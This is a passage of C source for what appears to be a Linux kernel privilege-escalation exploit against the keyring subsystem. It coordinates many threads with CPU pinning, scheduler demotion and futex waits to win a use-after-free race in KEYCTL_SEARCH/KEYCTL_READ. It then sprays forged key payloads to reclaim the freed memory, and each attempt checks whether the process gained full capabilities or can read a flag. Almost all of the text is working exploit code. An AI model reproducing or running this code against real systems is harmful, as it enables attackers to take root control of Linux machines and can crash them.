        pthread_attr_destroy(&attr);
        return -prc;
    }
    for (unsigned int i = 0; i < K2_PREP_WORKERS; i++) {
        gate->worker_args[i] = (struct k2_prep_worker_arg){
            .gate = gate,
            .id = i,
        };
        prc = pthread_create(&gate->worker_threads[i], &attr,
                             k2_prep_payload_worker,
                             &gate->worker_args[i]);
        if (prc) {
            pthread_attr_destroy(&attr);
            return -prc;
        }
        created++;
    }
    pthread_attr_destroy(&attr);
    if (created != K2_PREP_WORKERS)
        return -EAGAIN;
    deadline = monotonic_msec() + 20000;
    while (atomic_load_explicit(&gate->worker_ready,
                                memory_order_acquire) <
               (int)K2_PREP_WORKERS &&
           monotonic_msec() < deadline)
        sched_yield();
    if (atomic_load(&gate->worker_ready) != K2_PREP_WORKERS)
        return -ETIMEDOUT;

    atomic_store(&gate->guard_state, 1);
    for (unsigned int i = 0; i < K2_PREP_GUARDS; i++) {
        prc = pthread_create(&gate->guard_threads[i], NULL,
                             k2_prep_guard_worker, gate);
        if (prc)
            return -prc;
    }
    while (atomic_load_explicit(&gate->guard_ready,
                                memory_order_acquire) <
           (int)K2_PREP_GUARDS)
        sched_yield();
    if (gate->guard_affinity_rc)
        return gate->guard_affinity_rc;

    prc = pthread_create(&gate->spinner_thread, NULL,
                         k2_prep_spinner_worker, gate);
    if (prc)
        return -prc;
    while (!atomic_load_explicit(&gate->spinner_ready,
                                 memory_order_acquire))
        sched_yield();
    if (gate->spinner_affinity_rc)
        return gate->spinner_affinity_rc;

    for (unsigned int group = 0; group < K2_PREP_GATES; group++) {
        bool captured = false;

        gate->dummy_args[group] = (struct k2_prep_subgate_arg){
            .gate = gate,
            .group = group,
        };
        atomic_store(&gate->reader_run[group], 1);
        for (unsigned int reader = 0;
             reader < K2_PREP_READERS_PER_GATE; reader++) {
            unsigned int arg_index =
                group * K2_PREP_READERS_PER_GATE + reader;

            gate->reader_args[arg_index] = gate->dummy_args[group];
            prc = pthread_create(&gate->reader_threads[group][reader], NULL,
                                 k2_prep_reader_worker,
                                 &gate->reader_args[arg_index]);
            if (prc)
                return -prc;
        }
        while (atomic_load_explicit(&gate->reader_started[group],
                                    memory_order_acquire) <
               (int)K2_PREP_READERS_PER_GATE)
            sched_yield();
        deadline = monotonic_msec() + 2000;
        while (atomic_load_explicit(&gate->reader_reads[group],
                                    memory_order_acquire) < 8 &&
               monotonic_msec() < deadline)
            sched_yield();
        if (atomic_load(&gate->reader_reads[group]) < 8 ||
            gate->reader_sched_rc[group]) {
            fprintf(stderr,
                    "PREP_MULTIGATE_FAIL group=%u stage=reader-calibrate "
                    "reads=%u sched_rc=%d\n",
                    group, atomic_load(&gate->reader_reads[group]),
                    gate->reader_sched_rc[group]);
            return gate->reader_sched_rc[group] ?
                   gate->reader_sched_rc[group] : -EAGAIN;
        }

        prc = pthread_create(&gate->dummy_threads[group], NULL,
                             k2_prep_dummy_worker,
                             &gate->dummy_args[group]);
        if (prc)
            return -prc;
        while (!atomic_load_explicit(&gate->dummy_started[group],
                                     memory_order_acquire))
            sched_yield();
        deadline = monotonic_msec() + 5000;
        while (monotonic_msec() < deadline) {
            if (atomic_load_explicit(&gate->dummy_incall[group],
                                     memory_order_acquire) &&
                atomic_load_explicit(&gate->reader_inflight[group],
                                     memory_order_acquire)) {
                atomic_store_explicit(&gate->spinner_state, 1,
                                      memory_order_release);
                futex_wake_atomic(&gate->spinner_state, 1);
                usleep(1000);
                {
                    char wchan[128] = {0};

                    if (atomic_load_explicit(&gate->dummy_incall[group],
                                             memory_order_acquire) &&
                        atomic_load_explicit(&gate->reader_inflight[group],
                                             memory_order_acquire) &&
                        read_task_wchan(gate->dummy_tids[group], wchan,
                                        sizeof(wchan)) == 0 &&
                        (strstr(wchan, "rwsem") ||
                         strstr(wchan, "down_write") ||
                         strstr(wchan, "key_link"))) {
                        captured = true;
                        break;
                    }
                }
                atomic_store_explicit(&gate->spinner_state, 0,
                                      memory_order_release);
            }
            sched_yield();
        }
        if (!captured) {
            fprintf(stderr,
                    "PREP_MULTIGATE_FAIL group=%u stage=dummy-capture "
                    "attempts=%u inflight=%d incall=%d\n",
                    group, atomic_load(&gate->dummy_attempts[group]),
                    atomic_load(&gate->reader_inflight[group]),
                    atomic_load(&gate->dummy_incall[group]));
            return -EAGAIN;
        }
        {
            unsigned int blocked = 0;
            unsigned int first = k2_prep_group_first(group);
            unsigned int count = k2_prep_group_count(group);
            unsigned int limit = first + count;

            deadline = monotonic_msec() + 30000;
            for (unsigned int batch_first = first;
                 batch_first < limit;
                 batch_first += K2_PREP_ARM_BATCH) {
                unsigned int batch_limit = batch_first + K2_PREP_ARM_BATCH;
                unsigned int batch_blocked = 0;

                if (batch_limit > limit)
                    batch_limit = limit;
                for (unsigned int i = batch_first; i < batch_limit; i++) {
                    atomic_store_explicit(&gate->worker_go_by_id[i], 1,
                                          memory_order_release);
                    futex_wake_atomic(&gate->worker_go_by_id[i], 1);
                }
                do {
                    batch_blocked = 0;
                    for (unsigned int i = batch_first;
                         i < batch_limit; i++) {
                        char worker_wchan[128] = {0};

                        if (read_task_wchan(gate->worker_tids[i],
                                            worker_wchan,
                                            sizeof(worker_wchan)) == 0 &&
                            (strstr(worker_wchan, "rwsem") ||
                             strstr(worker_wchan, "down_write") ||
                             strstr(worker_wchan, "key_create") ||
                             strstr(worker_wchan, "key_link")))
                            batch_blocked++;
                    }
                    if (batch_blocked == batch_limit - batch_first)
                        break;
                    usleep(100);
                } while (monotonic_msec() < deadline);
                if (batch_blocked != batch_limit - batch_first) {
                    fprintf(stderr,
                            "PREP_MULTIGATE_FAIL group=%u "
                            "stage=workers-batch first=%u blocked=%u "
                            "expected=%u done=%d\n",
                            group, batch_first, batch_blocked,
                            batch_limit - batch_first,
                            atomic_load(&gate->worker_done));
                    return -EAGAIN;
                }
            }
            do {
                blocked = 0;
                for (unsigned int i = first;
                     i < first + count; i++) {
                    char wchan[128] = {0};

                    if (read_task_wchan(gate->worker_tids[i], wchan,
                                        sizeof(wchan)) == 0 &&
                        (strstr(wchan, "rwsem") ||
                         strstr(wchan, "down_write") ||
                         strstr(wchan, "key_create") ||
                         strstr(wchan, "key_link")))
                        blocked++;
                }
                if (blocked == count)
                    break;
                usleep(100);
            } while (monotonic_msec() < deadline);
            if (blocked != count) {
                fprintf(stderr,
                        "PREP_MULTIGATE_FAIL group=%u stage=workers-block "
                        "blocked=%u expected=%u done=%d\n",
                        group, blocked, count,
                        atomic_load(&gate->worker_done));
                return -EAGAIN;
            }
            atomic_store_explicit(&gate->group_armed[group], 1,
                                  memory_order_release);
        }
        rc = pin_tid_to_cpu(gate->dummy_tids[group], gate->allocation_cpu);
        if (rc != -ESRCH && rc) {
            fprintf(stderr,
                    "PREP_MULTIGATE_FAIL group=%u stage=move-dummy "
                    "tid=%ld rc=%d\n",
                    group, (long)gate->dummy_tids[group], rc);
            return rc;
        }
        for (unsigned int reader = 0;
             reader < K2_PREP_READERS_PER_GATE; reader++) {
            struct sched_param idle = {0};

            if (sched_setscheduler(gate->reader_tids[group][reader],
                                   SCHED_IDLE, &idle) < 0) {
                rc = -errno;
                fprintf(stderr,
                        "PREP_MULTIGATE_FAIL group=%u stage=idle-reader "
                        "reader=%u tid=%ld rc=%d\n",
                        group, reader,
                        (long)gate->reader_tids[group][reader], rc);
                return rc;
            }
            rc = pin_tid_to_cpu(gate->reader_tids[group][reader],
                                gate->allocation_cpu);
            if (rc == -ESRCH)
                continue;
            if (rc) {
                fprintf(stderr,
                        "PREP_MULTIGATE_FAIL group=%u stage=move-reader "
                        "reader=%u tid=%ld rc=%d\n",
                        group, reader,
                        (long)gate->reader_tids[group][reader], rc);
                return rc;
            }
        }
        {
            char wchan[128] = {0};
            bool proof_parked =
                atomic_load_explicit(&gate->reader_inflight[group],
                                     memory_order_acquire) > 0;

            /* The writer wchan is a diagnostic only.  Once this gate's
             * workers were individually observed in key_link/rwsem, the
             * exact owner lookup is the authoritative live-fake gate.
             * /proc/wchan transiently returns "0" on otherwise successful
             * boots, and non-target workers may legitimately drain. */
            (void)read_task_wchan(gate->dummy_tids[group], wchan,
                                  sizeof(wchan));

            if (!proof_parked ||
                atomic_load_explicit(&gate->worker_done,
                                     memory_order_acquire) >
                    (int)K2_PREP_MAX_LOSS) {
                fprintf(stderr,
                        "PREP_MULTIGATE_FAIL group=%u stage=post-migrate "
                        "inflight=%d dummy_incall=%d dummy_done=%d "
                        "dummy_wchan=%s workers_done=%d\n",
                        group, atomic_load(&gate->reader_inflight[group]),
                        atomic_load(&gate->dummy_incall[group]),
                        atomic_load(&gate->dummy_done[group]),
                        wchan[0] ? wchan : "unreadable",
                        atomic_load(&gate->worker_done));
                return -EAGAIN;
            }
            if (gate->development_mode) {
                printf("PREP_MULTIGATE_REPROVED group=%u "
                       "inflight=%d dummy_wchan=%s guards=%u\n",
                       group, atomic_load(&gate->reader_inflight[group]),
                       wchan, K2_PREP_GUARDS);
                fflush(stdout);
            }
        }
        /* Only now may the transient CPU1 freezer sleep so the next gate's
         * readers can calibrate.  The moved reader is SCHED_IDLE on CPU0
         * behind the persistent normal-priority guards. */
        atomic_store_explicit(&gate->spinner_state, 0,
                              memory_order_release);
        if (!atomic_load_explicit(&gate->reader_inflight[group],
                                  memory_order_acquire)) {
            fprintf(stderr,
                    "PREP_MULTIGATE_FAIL group=%u "
                    "stage=post-freezer-sleep inflight=0\n", group);
            return -EAGAIN;
        }
    }

    atomic_store_explicit(&gate->spinner_state, -1, memory_order_release);
    futex_wake_atomic(&gate->spinner_state, 1);
    pthread_join(gate->spinner_thread, NULL);
    printf("PREP_RANK_GATES_ARMED gates=%u prefix_workers=%u "
           "critical_workers=%u total_workers=%u allocation_cpu=%d "
           "release_cpu=%d\n",
           K2_PREP_GATES, K2_PREP_PREFIX_WORKERS,
           K2_PREP_CRITICAL_WORKERS, K2_PREP_WORKERS,
           gate->allocation_cpu, gate->search_cpu);
    if (gate->development_mode)
        dev_report_key_users("armed");
    fflush(stdout);
    return 0;
}

static int k2_prep_gate_launch(struct k2_prep_gate *gate)
{
    uint64_t deadline;
    unsigned int blocked = 0;
    int rc;

    rc = pin_current_thread(gate->allocation_cpu);
    if (rc)
        return rc;
    deadline = monotonic_msec() + 20000;
    do {
        blocked = 0;
        for (unsigned int i = 0; i < K2_PREP_WORKERS; i++) {
            char wchan[128] = {0};

            if (gate->worker_tids[i] > 0 &&
                read_task_wchan(gate->worker_tids[i], wchan,
                                sizeof(wchan)) == 0 &&
                (strstr(wchan, "rwsem") || strstr(wchan, "down_write") ||
                 strstr(wchan, "key_create") || strstr(wchan, "key_link")))
                blocked++;
        }
        if (blocked + (unsigned int)atomic_load(&gate->worker_done) >=
            K2_PREP_WORKERS)
            break;
        usleep(100);
    } while (monotonic_msec() < deadline);
    if (blocked + (unsigned int)atomic_load(&gate->worker_done) <
            K2_PREP_WORKERS ||
        atomic_load(&gate->worker_done) > (int)K2_PREP_MAX_LOSS)
        return -EAGAIN;
    for (unsigned int i = 0; i < K2_PREP_WORKERS; i++) {
        rc = pin_tid_to_cpu(gate->worker_tids[i], gate->search_cpu);
        if (rc == -ESRCH)
            continue;
        if (rc)
            return rc;
        if (setpriority(PRIO_PROCESS, gate->worker_tids[i], 19) < 0)
            return -errno;
    }
    printf("PREP_RANK_GATES_ALL_BLOCKED count=%u prefix=%u critical=%u "
           "returned=%d migrated_cpu=%d\n",
           blocked, K2_PREP_PREFIX_WORKERS, K2_PREP_CRITICAL_WORKERS,
           atomic_load(&gate->worker_done), gate->search_cpu);
    fflush(stdout);
    return pin_current_thread(gate->allocation_cpu);
}

static int k2_prep_gate_release_and_wait(struct k2_prep_gate *gate)
{
    int target = atomic_load_explicit(&gate->target_id,
                                      memory_order_acquire);
    unsigned int group;
    unsigned int moved_readers = 0;
    int rc;

    if (target < 0 || target >= (int)K2_PREP_WORKERS)
        return -EINVAL;
    group = k2_prep_group_for_worker((unsigned int)target);
    if (group == K2_PREP_PREFIX_GATE || group >= K2_PREP_GATES)
        return -ERANGE;
    atomic_store_explicit(&gate->dummy_stop[group], 1,
                          memory_order_release);
    for (unsigned int reader = 0;
         reader < K2_PREP_READERS_PER_GATE; reader++) {
        rc = pin_tid_to_cpu(gate->reader_tids[group][reader],
                            gate->search_cpu);
        if (rc == -ESRCH)
            continue;
        if (rc)
            return rc;
        moved_readers++;
    }
    rc = pin_tid_to_cpu(gate->dummy_tids[group], gate->search_cpu);
    if (rc != -ESRCH && rc)
        return rc;
    if (!moved_readers && !atomic_load(&gate->reader_inflight[group]) &&
        atomic_load(&gate->worker_done) == 0)
        return -EAGAIN;
    atomic_store_explicit(&gate->reader_run[group], 0,
                          memory_order_release);
    while (!atomic_load_explicit(&gate->target_refilled,
                                 memory_order_acquire)) {
        rc = futex_wait_atomic(&gate->target_refilled, 0);
        if (rc)
            return rc;
    }
    if (gate->worker_add_result[target] >= 0 ||
        gate->worker_add_errno[target] != EPERM ||
        gate->target_update_rc)
        return -EIO;
    if (gate->development_mode) {
        printf("PREP_TARGET_REFILLED id=%d gate=%u gate_role=critical-subgate "
               "carrier=0 add_errno=%d update_rc=%d workers_done=%d\n",
               target, group, gate->worker_add_errno[target],
               gate->target_update_rc,
               atomic_load(&gate->worker_done));
        fflush(stdout);
        dev_trace_dump_buffer();
    }
    return 0;
}

static void k2_prep_gate_stop_spinners(struct k2_prep_gate *gate)
{
    for (unsigned int group = 0; group < K2_PREP_GATES; group++)
        atomic_store_explicit(&gate->dummy_stop[group], 1,
                              memory_order_release);
    atomic_store_explicit(&gate->guard_state, 0, memory_order_release);
}

static void *search_worker(void *argp)
{
    struct race_ctx *ctx = argp;
    ctx->search_tid = (pid_t)syscall(SYS_gettid);
    ctx->sched_rc = pin_current_thread(ctx->cpu);
    atomic_store_explicit(&ctx->search_started, 1, memory_order_release);
    do {
        errno = 0;
        ctx->search_result = keyctl_raw(KEYCTL_SEARCH,
                                        (unsigned long)ctx->source_ring,
                                        (unsigned long)ctx->search_type,
                                        (unsigned long)ctx->search_description,
                                        (unsigned long)ctx->destination_ring);
        ctx->search_errno = ctx->search_result < 0 ? errno : 0;
        atomic_fetch_add_explicit(&ctx->search_attempts, 1,
                                  memory_order_release);
        if (ctx->prep_gate &&
            atomic_load_explicit(&ctx->prep_target_ready,
                                 memory_order_acquire) &&
            atomic_exchange_explicit(&ctx->prep_primary_logged, 1,
                                     memory_order_acq_rel) == 0) {
            unsigned char payload[H_DIRECT_FAKE_BYTES] = {0};
            unsigned long long cap = read_cap_eff();
            int flag_rc = try_flag();
            int read_rc = read_carrier(ctx->prep_gate->carriers[0], payload);
            uint32_t usage = read_rc ? UINT32_MAX :
                             get_u32(payload + H_KEY_USAGE);
            uint64_t user = read_rc ? 0 : get_u64(payload + H_KEY_USER);
            uint64_t flags = read_rc ? 0 : get_u64(payload + H_KEY_FLAGS);
            uint16_t quotalen = read_rc ? 0 :
                                get_u16(payload + H_KEY_QUOTALEN);

            atomic_store_explicit(&ctx->search_stop, 1,
                                  memory_order_release);
            if (panic_on_oops_disabled())
                usleep(20000);
            printf("PREP_PRIMARY_RETURN search=%ld errno=%d usage=%#x "
                   "user=%#" PRIx64 " flags=%#" PRIx64
                   " quotalen=%u read_rc=%d CapEff=%016llx flag_rc=%d\n",
                   ctx->search_result, ctx->search_errno, usage, user, flags,
                   quotalen, read_rc, cap, flag_rc);
            fflush(stdout);
        }
        if (!ctx->repeat_search || ctx->search_result >= 0 ||
            (ctx->search_errno != ENOKEY && ctx->search_errno != EPERM))
            break;
        if (ctx->search_errno == EPERM) {
            unsigned long long cap = read_cap_eff();

            if ((cap & UINT64_C(0xffffffff)) == UINT64_C(0xffffffff)) {
                int flag_rc = try_flag();

                printf("SEARCH_EFFECT_IN_LOOP CapEff=%016llx flag_rc=%d\n",
                       cap, flag_rc);
                fflush(stdout);
                if (flag_rc == 0)
                    break;
            }
        }
    } while (!atomic_load_explicit(&ctx->search_stop, memory_order_acquire));
    /* The fatal K2 writer runs on the other CPU and never returns to the
     * coordinating thread.  Any protected effect must therefore be consumed
     * here, immediately after keyctl cleanup performed the final fake put. */
    ctx->search_cap_after = read_cap_eff();
    ctx->search_flag_rc = try_flag();
    printf("SEARCH_POST_EFFECT search=%ld errno=%d CapEff=%016llx flag_rc=%d\n",
           ctx->search_result, ctx->search_errno,
           ctx->search_cap_after, ctx->search_flag_rc);
    if (ctx->search_flag_rc == 0)
        puts("GADGET_CAP_WRITE_OBSERVED search_thread=1");
    fflush(stdout);
    atomic_store_explicit(&ctx->search_done, 1, memory_order_release);
    return NULL;
}

static void *destination_blocker_worker(void *argp)
{
    struct race_ctx *ctx = argp;
    key_serial_t serials[1024];
    int rc = pin_current_thread(ctx->cpu);
    unsigned int index = atomic_fetch_add_explicit(&ctx->blocker_tid_count, 1,
                                                    memory_order_acq_rel);

    ctx->blocker_tid = (pid_t)syscall(SYS_gettid);
    if (index >= K2_BLOCKER_THREADS)
        rc = -E2BIG;
    else
        ctx->blocker_tids[index] = ctx->blocker_tid;
    /* Keep X runnable below normal search/updater tasks, then demote it to
     * SCHED_IDLE only after an in-flight read is observed stable. */
    if (!rc && setpriority(PRIO_PROCESS, 0, 19) < 0)
        rc = -errno;
    ctx->blocker_sched_rc = rc;
    atomic_fetch_add_explicit(&ctx->blocker_started, 1,
                              memory_order_release);
    if (rc) {
        atomic_fetch_add_explicit(&ctx->blocker_done, 1,
                                  memory_order_release);
        return NULL;
    }
    while (atomic_load_explicit(&ctx->blocker_run, memory_order_acquire)) {
        atomic_fetch_add_explicit(&ctx->blocker_inflight, 1,
                                  memory_order_acq_rel);
        errno = 0;
        ctx->blocker_result = keyctl_raw(KEYCTL_READ,
                                         (unsigned long)ctx->destination_ring,
                                         (unsigned long)serials,
                                         sizeof(serials), 0);
        ctx->blocker_errno = ctx->blocker_result < 0 ? errno : 0;
        atomic_fetch_sub_explicit(&ctx->blocker_inflight, 1,
                                  memory_order_acq_rel);
        if (ctx->blocker_result < 0)
            break;
        if (ctx->blocker_result !=
            (long)(ctx->destination_entries * sizeof(key_serial_t))) {
            ctx->blocker_errno = EMSGSIZE;
            break;
        }
        atomic_fetch_add_explicit(&ctx->blocker_reads, 1,
                                  memory_order_release);
    }
    atomic_fetch_add_explicit(&ctx->blocker_done, 1,
                              memory_order_release);
    return NULL;
}

static void *normal_spinner_worker(void *argp)
{
    struct race_ctx *ctx = argp;
    ctx->spinner_sched_rc = pin_current_thread(ctx->cpu);
    /* nice 19 remains above SCHED_IDLE X, but lets RCU/slub worker threads
     * preempt this spinner and execute the queued payload callback/reclaim. */
    if (!ctx->spinner_sched_rc && setpriority(PRIO_PROCESS, 0, 19) < 0)
        ctx->spinner_sched_rc = -errno;
    atomic_store_explicit(&ctx->spinner_ready, 1, memory_order_release);
    for (;;) {
        int state = atomic_load_explicit(&ctx->spinner_run,
                                         memory_order_acquire);

        if (state < 0)
            break;
        if (state == 0) {
            (void)syscall(SYS_futex, &ctx->spinner_run,
                          FUTEX_WAIT_PRIVATE, 0, NULL, NULL, 0);
            continue;
        }
        __asm__ __volatile__("pause" ::: "memory");
    }
    return NULL;
}

static void *updater_worker(void *argp)
{
    struct race_ctx *ctx = argp;
    uint64_t deadline;
    unsigned char payload[H_DIRECT_FAKE_BYTES];
    pthread_t spinner;
    int prc;
    size_t i;

    ctx->owner_index = -1;
    ctx->update_rc = pin_current_thread(ctx->cpu);
    if (ctx->update_rc)
        return NULL;
    if (ctx->prep_gate) {
        struct k2_prep_gate *gate = ctx->prep_gate;
        char wchan[128] = {0};
        bool parked = false;

        while (!atomic_load_explicit(&ctx->search_started,
                                     memory_order_acquire))
            sched_yield();
        atomic_store_explicit(&ctx->prep_runtime_ready, 1,
                              memory_order_release);
        deadline = monotonic_msec() + ctx->timeout_ms;
        while (monotonic_msec() < deadline) {
            if (ctx->search_tid > 0 &&
                read_task_wchan(ctx->search_tid, wchan,
                                sizeof(wchan)) == 0 &&
                (strstr(wchan, "rwsem") || strstr(wchan, "down_write") ||
                 strstr(wchan, "key_link"))) {
                parked = true;
                break;
            }
            if (atomic_load_explicit(&ctx->search_done,
                                     memory_order_acquire))
                break;
            usleep(20);
        }
        if (!parked) {
            ctx->update_rc = -ETIMEDOUT;
            printf("PREP_SEARCH_BLOCK_FAIL tid=%ld wchan=%s attempts=%u\n",
                   (long)ctx->search_tid, wchan[0] ? wchan : "unreadable",
                   atomic_load_explicit(&ctx->search_attempts,
                                        memory_order_acquire));
            fflush(stdout);
            return NULL;
        }
        printf("PREP_SEARCH_REF_HELD search_tid=%ld wchan=%s attempts=%u\n",
               (long)ctx->search_tid, wchan,
               atomic_load_explicit(&ctx->search_attempts,
                                    memory_order_acquire));
        fflush(stdout);
        {
            struct sched_param idle = {0};
            unsigned int count = atomic_load_explicit(
                &ctx->blocker_tid_count, memory_order_acquire);

            if (count > K2_BLOCKER_THREADS)
                count = K2_BLOCKER_THREADS;
            for (unsigned int i = 0; i < count; i++) {
                if (sched_setscheduler(ctx->blocker_tids[i], SCHED_IDLE,
                                       &idle) < 0) {
                    ctx->update_rc = -errno;
                    k2_prep_gate_stop_spinners(ctx->prep_gate);
                    atomic_store_explicit(&ctx->blocker_run, 0,
                                          memory_order_release);
                    return NULL;
                }
            }
        }
        {
            long owner = keyctl_raw(KEYCTL_SEARCH,
                                    (unsigned long)ctx->source_ring,
                                    (unsigned long)ctx->search_type,
                                    (unsigned long)ctx->search_description,
                                    0);
            uint32_t serial = (uint32_t)owner;
            unsigned int rank;
            unsigned int mapped;
            int target;

            if (owner < 0 ||
                (serial & UINT32_C(0xffff0000)) != K2_PREP_SERIAL_BASE ||
                (serial & UINT32_C(0xffff)) == 0 ||
                (serial & UINT32_C(0xffff)) > K2_PREP_WORKERS) {
                ctx->update_rc = owner < 0 ? -errno : -EUCLEAN;
                printf("PREP_TARGET_OWNER_FAIL search=%ld rc=%d\n",
                       owner, ctx->update_rc);
                fflush(stdout);
                return NULL;
            }
            rank = (serial & UINT32_C(0xffff)) - 1U;
            if (rank < K2_PREP_PREFIX_WORKERS) {
                ctx->update_rc = -ERANGE;
                printf("PREP_TARGET_OUTSIDE_CRITICAL allocation_rank=%u "
                       "critical_first=%u critical_last=%u\n",
                       rank, K2_PREP_PREFIX_WORKERS,
                       K2_PREP_WORKERS - 1U);
                fflush(stdout);
                return NULL;
            }
            mapped = atomic_load_explicit(&gate->seq_to_worker[rank],
                                          memory_order_acquire);
            if (mapped >= K2_PREP_WORKERS ||
                k2_prep_group_for_worker(mapped) !=
                    k2_prep_group_for_worker(rank)) {
                ctx->update_rc = -EUCLEAN;
                printf("PREP_TARGET_MAP_FAIL allocation_rank=%u id=%u\n",
                       rank, mapped);
                fflush(stdout);
                return NULL;
            }
            target = (int)mapped;
            atomic_store_explicit(&gate->target_id, target,
                                  memory_order_release);
            printf("PREP_TARGET_OWNER id=%d allocation_rank=%u "
                   "gate=%u gate_role=critical-subgate serial=%#x\n",
                   target, rank, k2_prep_group_for_worker(rank), serial);
            fflush(stdout);
        }
        ctx->owner_index = 0;
        ctx->update_rc = k2_prep_gate_release_and_wait(ctx->prep_gate);
        if (ctx->update_rc) {
            printf("PREP_TARGET_VERIFY_FAIL rc=%d\n", ctx->update_rc);
            fflush(stdout);
        } else {
            atomic_store_explicit(&ctx->prep_target_ready, 1,
                                  memory_order_release);
        }
        atomic_store_explicit(&ctx->blocker_run, 0, memory_order_release);
        ctx->spray_rc = ctx->update_rc;
        return NULL;
    }
    prc = pthread_create(&spinner, NULL, normal_spinner_worker, ctx);
    if (prc) {
        ctx->update_rc = -prc;
        return NULL;
    }
    while (!atomic_load_explicit(&ctx->spinner_ready, memory_order_acquire))
        sched_yield();
    while (!atomic_load_explicit(&ctx->search_started, memory_order_acquire))
        sched_yield();
    deadline = monotonic_msec() + ctx->timeout_ms;
    while (monotonic_msec() < deadline) {
        for (i = 0; i < ctx->initial_count; i++) {
            if (read_carrier(ctx->initial_serials[i], payload) == 0 &&
                get_u64(payload + H_KEY_LAST_USED) != ctx->baseline_markers[i]) {
                ctx->owner_index = (int)i;
                goto marker;
            }
        }
        if (atomic_load_explicit(&ctx->search_done, memory_order_acquire))
            break;
        /* Sleeping lets same-CPU normal B progress while A samples markers. */
        usleep(50);
    }
    ctx->update_rc = -ETIMEDOUT;
    atomic_store_explicit(&ctx->spinner_run, -1, memory_order_release);
    (void)syscall(SYS_futex, &ctx->spinner_run, FUTEX_WAKE_PRIVATE,
                  1, NULL, NULL, 0);
    pthread_join(spinner, NULL);
    return NULL;

marker:
    if (ctx->blocker_prearmed)
        goto blocker_confirmed;
    /* Do not free B until the same search task has stopped completing attempts
     * while X remains inside KEYCTL_READ(D). */
    deadline = monotonic_msec() + ctx->timeout_ms;
    for (;;) {
        if (atomic_load_explicit(&ctx->blocker_inflight,
                                 memory_order_acquire)) {
            unsigned int attempts = atomic_load_explicit(
                &ctx->search_attempts, memory_order_acquire);

            usleep(50);
            if (atomic_load_explicit(&ctx->blocker_inflight,
                                     memory_order_acquire) &&
                atomic_load_explicit(&ctx->search_attempts,
                                     memory_order_acquire) == attempts)
                break;
        } else {
            usleep(20);
        }
        if (monotonic_msec() >= deadline) {
            ctx->update_rc = -ETIMEDOUT;
            goto stop_spinner;
        }
    }
    {
        struct sched_param idle = {0};
        unsigned int count = atomic_load_explicit(&ctx->blocker_tid_count,
                                                   memory_order_acquire);

        ctx->blocker_demote_rc = 0;
        if (count > K2_BLOCKER_THREADS)
            count = K2_BLOCKER_THREADS;
        for (unsigned int i = 0; i < count; i++) {
            if (sched_setscheduler(ctx->blocker_tids[i], SCHED_IDLE,
                                   &idle) < 0 && !ctx->blocker_demote_rc)
                ctx->blocker_demote_rc = -errno;
        }
    }
    if (ctx->blocker_demote_rc) {
        ctx->update_rc = ctx->blocker_demote_rc;
        goto stop_spinner;
    }
blocker_confirmed:
    /* Let normal-priority B leave its RCU read section and block on D->sem.
     * With X idle and A still runnable, one yield should choose B, then A. */
    sched_yield();
    atomic_store_explicit(&ctx->spinner_run, 1, memory_order_release);
    (void)syscall(SYS_futex, &ctx->spinner_run, FUTEX_WAKE_PRIVATE,
                  1, NULL, NULL, 0);
    if (ctx->spinner_sched_rc) {
        ctx->update_rc = ctx->spinner_sched_rc;
        goto stop_spinner;
    }
    ctx->update_rc = update_carrier(ctx->initial_serials[ctx->owner_index],
                                    ctx->fake);
    if (ctx->update_rc)
        goto stop_spinner;
    ctx->gp_rc = global_rcu_gp();
    if (ctx->gp_rc)
        goto stop_spinner;
    if (ctx->trace_critical) {
        /* Development-only: give the queued user-payload callback a generous
         * window, then force another grace period before measuring reuse. */
        usleep(100000);
        ctx->gp_rc = global_rcu_gp();
        if (ctx->gp_rc)
            goto stop_spinner;
        usleep(100000);
        puts("DEV_CALLBACK_WINDOW_DONE");
        fflush(stdout);
    }
    /* The user payload callback directly kfree_sensitive()s B.  On this CPU
     * the next same-size update is the lowest-latency exact-cache reclaim;
     * do it before logging so the fatal CPU's remaining oops window is spent
     * on the protected effect rather than serial output. */
    for (i = 0; i < ctx->spray_count; i++) {
        ctx->spray_rc = update_carrier(ctx->spray_serials[i], ctx->fake);
        if (ctx->spray_rc)
            break;
    }
    if (ctx->trace_critical) {
        printf("DEV_RECLAIM_UPDATES count=%zu rc=%d\n", i, ctx->spray_rc);
        fflush(stdout);
    }
    if (!ctx->spray_rc) {
        /* The protected-effect path has only the fatal CPU's oops-printing
         * window left.  Release D immediately; do not spend it on serial
         * output or joining the spinner.  Both threads observe these atomics,
         * exit, and let the SCHED_IDLE reader drop D->sem so B can perform the
         * final fake put and report CapEff itself. */
        atomic_store_explicit(&ctx->blocker_run, 0, memory_order_release);
        atomic_store_explicit(&ctx->spinner_run, -1, memory_order_release);
        (void)syscall(SYS_futex, &ctx->spinner_run, FUTEX_WAKE_PRIVATE,
                      1, NULL, NULL, 0);
        pthread_detach(spinner);
        return NULL;
    }
stop_spinner:
    atomic_store_explicit(&ctx->spinner_run, -1, memory_order_release);
    (void)syscall(SYS_futex, &ctx->spinner_run, FUTEX_WAKE_PRIVATE,
                  1, NULL, NULL, 0);
    pthread_join(spinner, NULL);
    atomic_store_explicit(&ctx->blocker_run, 0, memory_order_release);
    return NULL;
}

static int validate_gadget_fake(const unsigned char fake[H_DIRECT_FAKE_BYTES])
{
    uint64_t flags = get_u64(fake + H_KEY_FLAGS);
    if (get_u32(fake + H_KEY_USAGE) != 1 ||
        !is_slab_pointer(get_u64(fake + H_KEY_USER) + 8) ||
        !(flags & (UINT64_C(1) << H_KEY_FLAG_IN_QUOTA)))
        return -EINVAL;
    if (get_u16(fake + H_KEY_QUOTALEN) != 1)
        return -EINVAL;
    return 0;
}

static int run_spray(key_serial_t ring, size_t count, const char *fake_path,
                     const char *serial_path)
{
    unsigned char fake[H_DIRECT_FAKE_BYTES];
    key_serial_t *serials;
    int rc;
    if (!count)
        return -EINVAL;
    rc = read_exact_file(fake_path, fake, sizeof(fake));
    if (rc)
        return rc;
    serials = calloc(count, sizeof(*serials));
    if (!serials)
        return -ENOMEM;
    rc = spray_carriers(ring, count, fake, serials);
    if (!rc)
        rc = write_serial_file(serial_path, serials, count);
    if (!rc)
        printf("SPRAY_READY ring=%d count=%zu serials=%s fake_offset=%u\n",
               ring, count, serial_path, H_USER_PAYLOAD_HEADER);
    free(serials);
    return rc;
}

static int run_marker_poll(const char *serial_path, unsigned int timeout_ms)
{
    key_serial_t *serials = NULL;
    size_t count = 0;
    uint64_t deadline, value = 0;
    int rc, owner;

    rc = read_serial_file(serial_path, &serials, &count);
    if (rc)
        return rc;
    deadline = monotonic_msec() + timeout_ms;
    do {
        owner = find_marker_owner(serials, count, H_FAKE_MARKER_SENTINEL,
                                  &value);
